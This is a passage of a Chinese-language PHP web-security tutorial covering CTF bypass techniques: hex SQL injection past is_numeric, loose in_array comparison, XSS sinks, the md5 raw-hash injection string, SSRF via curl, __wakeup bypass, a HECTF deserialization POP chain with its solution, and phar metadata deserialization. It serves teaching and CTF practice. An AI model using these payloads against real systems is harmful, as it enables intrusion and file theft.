是數字或者數字字符串那麼就返回TRUE,不然就返回FALSE。那麼這裏說的繞過是什麼姿式呢?是十六進制。咱們先來看一個簡單的例子。
代碼示例:
<?php $a = is_numeric('0x31206f722031'); if($a){ echo 'It meets my requirement'; } else{ echo 'Try again'; } ?> 執行結果——> It meets my requirement
這裏說一下0x31206f722031
這個是什麼?這個是or 1=1
的十六進制,從這裏能夠看出,若是某處使用了此函數,並將修飾後的變量帶入數據庫查詢語句中,那麼咱們就能利用此漏洞實現sql注入。一樣的,這個漏洞再CTF比賽中也是很常見的。
此函數用來檢測數組中是否存在某個值。
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
in_array()
函數將會檢查needle的類型是否和haystack中的類型相同。有時候咱們再傳入一個數組的時候,代碼可能會過濾某些敏感字符串,可是咱們又須要傳入這樣的字符串,那麼咱們應該如何繞過它的檢測呢?
<?php $myarr = array('Ameng'); $needle = 0; if(in_array($needle,$myarr)){ echo "It's in array"; } else{ echo "not in array"; } ?>
上面代碼示例執行的結果會是什麼呢?從簡單的邏輯上分析。0是不存在要搜索的數組中的,因此理論上,應該是輸出not in array
,可是實際卻輸出了It's in array
。這是爲何呢?緣由就在於PHP的默認類型轉換。這裏咱們第三個參數並無設置爲true
那麼默認就是非嚴格比較,因此在數字與字符串進行比較時,字符串先被強制轉換成數字,而後再進行比較。而且由於某些類型轉換正在發生,就會致使發生數據丟失,而且都被視爲相同。因此歸根到底仍是非嚴格比較致使的問題。因此再遇到這個函數用來變量檢測的時候,咱們能夠看看第三個參數是否開啓,若未開啓,則存在數組繞過。
在這裏首先你要對XSS的基本原理要知道。PHP中一下這些函數之因此會出現XSS的漏洞狀況,主要仍是沒有對輸出的變量進行過濾。
代碼示例:
<?php $str = $_GET['x']; print($str); ?>
代碼示例:
<?php $str = $_GET['x']; print_r($str); ?>
代碼示例:
<?php $str = $_GET['x']; echo "$str"; ?>
咱們傳入相應參數,執行結果以下:
代碼示例:
<?php $str = $_GET['x']; printf($str); ?>
執行結果和上面相同,我就再也不貼圖片了。
代碼示例:
<?php $str = $_GET['x']; $a = sprintf($str); echo "$a"; ?>
此函數輸出一條信息,並退出當前腳本。
代碼示例:
<?php $str = $_GET['x']; die($str); ?>
此函數打印變量的相關信息,用來顯示關於一個或多個表達式的結構信息,包括表達式的類型與值。數組將遞歸展開之,經過縮進顯示其結構。
代碼示例:
<?php $str = $_GET['x']; $a = array($str); var_dump($a); ?>
此函數輸出或者返回一個變量的字符串表示。它返回關於傳遞給該函數的變量的結構信息,和var_dump
相似,不一樣的是其返回的表示是合法的 PHP 代碼。
代碼示例:
<?php $str = $_GET['x']; $a = array($str); var_export($a); ?>
這裏大部分函數的使用已經在上面詳細介紹過了,這裏我就針對每一種函數大概介紹一下其主要存在的利用方法。
md5()
函數繞過sql注入。咱們來看一個例子。
代碼示例:
$password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密碼錯誤!'; }
這裏提交的參數經過md5
函數處理,而後再進入SQL查詢語句,因此常規的注入手段就不行了,那麼若是md5後的轉換成字符串格式變成了'or'xxxx
的格式,不就能夠注入了麼。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
轉成字符串爲'or'6xxx
在執行命令時,可以使用分號構造處多條語句。相似這種。
<?php $cmd = "echo 'a';echo '--------------';echo 'b';"; echo eval($cmd); ?>
存在%00
截斷,當遇到使用此函數來進行正則匹配時,咱們能夠用%00
來截斷正則匹配,從而繞過正則。
這個在前面介紹過,就是數組繞過技巧。
存在ssrf漏洞。
代碼示例:
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>
使用file協議進行任意文件讀取
除此以外還有dict協議查看端口信息。gopher協議反彈shell利用等。
此函數前面詳細介紹過,/e模式下的命令執行。
url二次編碼繞過。
代碼示例:
<?php $name = urldecode($_GET['name']); if($name = "Ameng"){ echo "Plase~"; } else{ echo "sorry"; } ?>
將Ameng進行二次url編碼,而後傳入便可獲得知足條件。
經常使用僞協議來進行繞過。
此函數主要用於繞過某些過濾,先簡單瞭解一下函數的基本用法。
代碼示例:
<?php $url = "http://www.jlx-love.com/about"; $parts = parse_url($url); print_r($parts); ?> 執行結果——> Array ( [scheme] => http [host] => www.jlx-love.com [path] => /about )
能夠看到這個函數把咱們的變量值拆分紅一個幾個部分。那麼繞過過濾又是說的哪回事呢?其實就是當咱們在瀏覽器輸入url時,那麼就會將url中的\轉換爲/,從而就會致使parse_url
的白名單繞過。
在瞭解一些函數以前,咱們首先須要瞭解什麼是序列化和反序列化。
序列化:把對象轉換爲字節序列的過程成爲對象的序列化。
反序列化:把字節序列恢復爲對象的過程稱爲對象的反序列化。
歸根到底,就是將數據轉化成一種可逆的數據結構,逆向的過程就是反序列化。
在 PHP 中主要就是經過serialize
和unserialize
來實現數據的序列化和反序列化。
那麼漏洞是如何造成的呢?
PHP 的反序列化漏洞主要是由於未對用戶輸入的序列化字符串進行檢測,致使攻擊者能夠控制反序列化的過程,從而就能夠致使各類危險行爲。
那麼咱們先來看一看序列化後的數據格式是怎樣的,瞭解了序列化後的數據,咱們才能更好的理解和利用漏洞。因此咱們來構造一段序列化的值。
代碼示例:
<?php class Ameng{ public $who = "Ameng"; } $a = serialize(new Ameng); echo $a; ?> 執行結果——> O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}
這裏還要補充一點,就是關於變量的分類,變量的類別有三種:
序列化咱們知道了是個什麼格式,那麼如何利用反序列化來觸發漏洞進行利用呢?
在咱們反序列化時,會先檢查類中是否存在__wakeup()
若是存在,則執行。可是若是對象屬性個數的值大於真實的屬性個數時就會跳過__wakeup()
執行__destruct()
。
影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
代碼示例:
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ public $name='1.php'; function __destruct(){ echo "destruct執行<br>"; echo highlight_file($this->name, true); } function __wakeup(){ echo "wakeup執行<br>"; $this->name='1.php'; } } $data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}'; unserialize($data); ?>
執行結果:
__sleep()
函數恰好與__waeup()
相反,前者是在序列化一個對象時被調用,後者是在反序列化時被調用。那麼該如何利用呢?咱們看看代碼。
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ public $name='1.php'; public function __construct($name){ $this->name=$name; } function __sleep(){ echo "sleep()執行<br>"; echo highlight_file($this->name, true); } function __destruct(){ echo "over<br>"; } function __wakeup(){ echo "wakeup執行<br>"; } } $a = new Ameng("2.php"); $b = serialize($a); ?>
執行結果:
這個函數的做用其實在上面的例子中已經顯示了,就是在對象被銷燬時調用,假若這個函數中有命令執行之類的功能,咱們徹底能夠利用這一點來進行漏洞的利用,獲得本身想要的結果。
這個函數的做用在__sleep()
也是體現了的,這個函數就是在一個對象被建立時會調用這個函數,好比我在__sleep()
中用這個函數來對變量進行賦值。
此函數用來監視一個對象中的其餘方法。當你嘗試調用一個對象中不存在的或者被權限控制的方法,那麼__call
就會被自動調用
代碼示例:
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ public function __call($name,$args){ echo "<br>"."call執行失敗"; } public static function __callStatic($name,$args){ echo "<br>"."callStatic執行失敗"; } } $a = new Ameng; $a->b(); Ameng::b(); ?>
執行結果:
這個方法是 PHP5.3 增長的新方法。主要是調用不可見的靜態方法時會自動調用。具體使用在上面代碼示例和結果可見。那麼這兩個函數有什麼值得咱們關注的呢?想想,假若這兩個函數中有命令執行的函數,那麼咱們調用對象中不存在方法時就能夠調用這兩個函數,這不就達到咱們想要的目的了。
通常來講,咱們老是把類的屬性定義爲private。但有時候咱們對屬性的讀取和賦值是很是頻繁,這個時候PHP就提供了兩個函數來獲取和賦值類中的屬性。
get方法用來獲取私有成員屬性的值。
代碼示例:
//__get()方法用來獲取私有屬性 public function __get($name){ return $this->$name; }
此方法用來給私有成員屬性賦值。
代碼示例:
//__set()方法用來設置私有屬性 public function __set($name,$value){ $this->$name = $value; }
這個函數是當咱們對不可訪問屬性調用isset()
或者empty()
時調用。
在這以前咱們要先了解一下isset()
函數的使用。isset()
函數檢測某個變量是否被設置了。因此這個時候問題就來了,若是咱們使用這個函數去檢測對象裏面的成員是否設定,那麼會發生什麼呢?
若對象的成員是公有成員,那沒什麼問題。假若對象的成員是私有成員,那這個函數就不行了,人家根本就不容許你訪問,你咋能檢測人家是否設定了呢?那咱們該怎麼辦?這個時候咱們能夠在類裏面加上__isset()
方法,接下來就可使用isset()
在對象外面訪問對象裏面的私有成員了。
代碼示例:
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ private $name; public function __construct($name=""){ $this->name = $name; } public function __isset($content){ echo "當在類外面調用isset方法時,那麼我就會執行!"."<br>"; echo isset($this->$content); } } $ameng = new Ameng("Ameng"); echo isset($ameng->name); ?>
執行結果:
這個方法基本和__insset
狀況一致,都是在類外訪問類內私有成員時要調用這個函數,基本調用的方法和上面一致。
代碼示例:
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ private $name; public function __construct($name=""){ $this->name = $name; } public function __unset($content){ echo "當在類外面調用unset方法時,那麼我就會執行!"."<br>"; echo isset($this->$content); } } $ameng = new Ameng("Ameng"); unset($ameng->name); ?>
執行結果:
此函數是將一個對象看成一個字符串來使用時,就會自動調用該方法,且在該方法中,能夠返回必定的字符串,來表示該對象轉換爲字符串以後的結果。
一般狀況下,咱們訪問類的屬性的時候都是$實例化名稱->屬性名
這樣的格式去訪問,可是咱們不能直接echo去輸出對象,但是當咱們使用__tostring()
就能夠直接用echo來輸出了。
代碼示例:
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ public $name; private $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name . $this->age . '歲了'; } } $ameng = new Ameng('Ameng',3); echo $ameng; ?>
執行結果:
Ameng3歲了
當嘗試以調用函數的方式調用一個對象時,__invoke()
方法會被自動調用。
版本要求:
PHP > 5.3.0
代碼示例:
<?php header("Content-Type: text/html; charset=utf-8"); class Ameng{ public $name; private $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __invoke(){ echo '你用調用函數的方式調用了這個對象,因此我起做用了'; } } $ameng = new Ameng('Ameng',3); $ameng(); ?> 執行結果——> 你用調用函數的方式調用了這個對象,因此我起做用
來看一個簡單的例子(HECTF):
<?php class Read { public $var; public $token; public $token_flag; public function __construct() { $this->token_flag = $this->token = md5(rand(1,10000)); $this->token =&$this->token_flag; } public function __invoke(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { echo "flag{**********}"; } } } class Show { public $source; public $str; public function __construct() { echo $this->source."<br>"; } public function __toString() { $this->str['str']->source; } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $params; public function __construct() { $this->params = array(); } public function __get($key) { $func = $this->params; return $func(); } } if(isset($_GET['chal'])) { $chal = unserialize($_GET['chal']); }
咱們要拿到flag,在__invoke()
函數,當對象被看成函數調用時,那麼就會自動執行該函數。因此咱們要作的就是用函數來調用對象。
那麼咱們首先找到起點,就是unserialize函數的變量,由於這個變量是咱們可控的,可是確定是過濾了一些常見的協議,那些協議我在上面也簡單介紹過用法。
經過函數的過程搜索,咱們可以看到preg_match第二個參數會被看成字符串處理,在類Test中,咱們能夠給$func賦值給Read對象。
那麼咱們能夠構造以下pop鏈
<?php ·········· $read = new Read(); $show = new Show(); $test = new Test(); $read->token = &$read->token_flag; $test->params = $read; $show->str['str'] = $test; $show->source = $show; echo serialize($show); ?>
給個圖總結一下:
PHAR("PHP archive")是PHP裏相似JAR的一種打包文件,在PHP > 5.3版本中默認開啓。其實就是用來打包程序的。
a stub:xxx<?php xxx;__HALT_COMPILER();?>
前面內容不限,後面必須以__HALT_COMPILER();?>
結尾,不然phar擴展沒法將該文件識別爲phar文件。
官方手冊
phar文件本質上是一種壓縮文件,其中每一個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
前提:將php.ini
中的phar.readonly
選項設置爲off
,否則沒法生成phar文件。
<?php class TestObject { } $phar = new Phar("phar.phar"); //後綴名必須爲phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new TestObject(); $o -> data='Hello I am Ameng'; $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
在咱們訪問以後,會在當前目錄下生成一個phar.phar文件,以下圖所示。
而後查看文件的十六進制形式,咱們就能夠看到meta-data是以序列化的形式存儲。既然存在序列化的數據,那確定有序列化的逆向操做反序列化。那麼這裏在PHP中存在不少經過phar://
僞協議解析phar文件時,會將meta-data進行反序列化。可用函數以下圖
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
執行結果:
這裏簡單介紹一下phar的大體應用,更詳細能夠參考seebug。
此函數返回路徑中的文件名的一部分(後面)
basename(path,suffix)
代碼示例:
<?php $path = "index.php/test.php"; echo basename($path); ?> 執行結果——> test.php
此函數還有一個特色,就是會去掉文件名的非ASCII碼值。
代碼示例:
<?php $path = $_GET['x']; print_r(basename($path)); ?>
咱們經過 url 傳入參數x=index.php/config.php/%ff
結果以下:
咱們看到,%ff
直接沒了,而是直接輸出前面的的文件名,這個能夠用來繞過一些正則匹配。緣由就在於%ff
在經過 url 傳參時會被 url 解碼,解碼成了不可見字符,知足了basename
函數對文件名的非ASCII值去除的特色,從而被刪掉。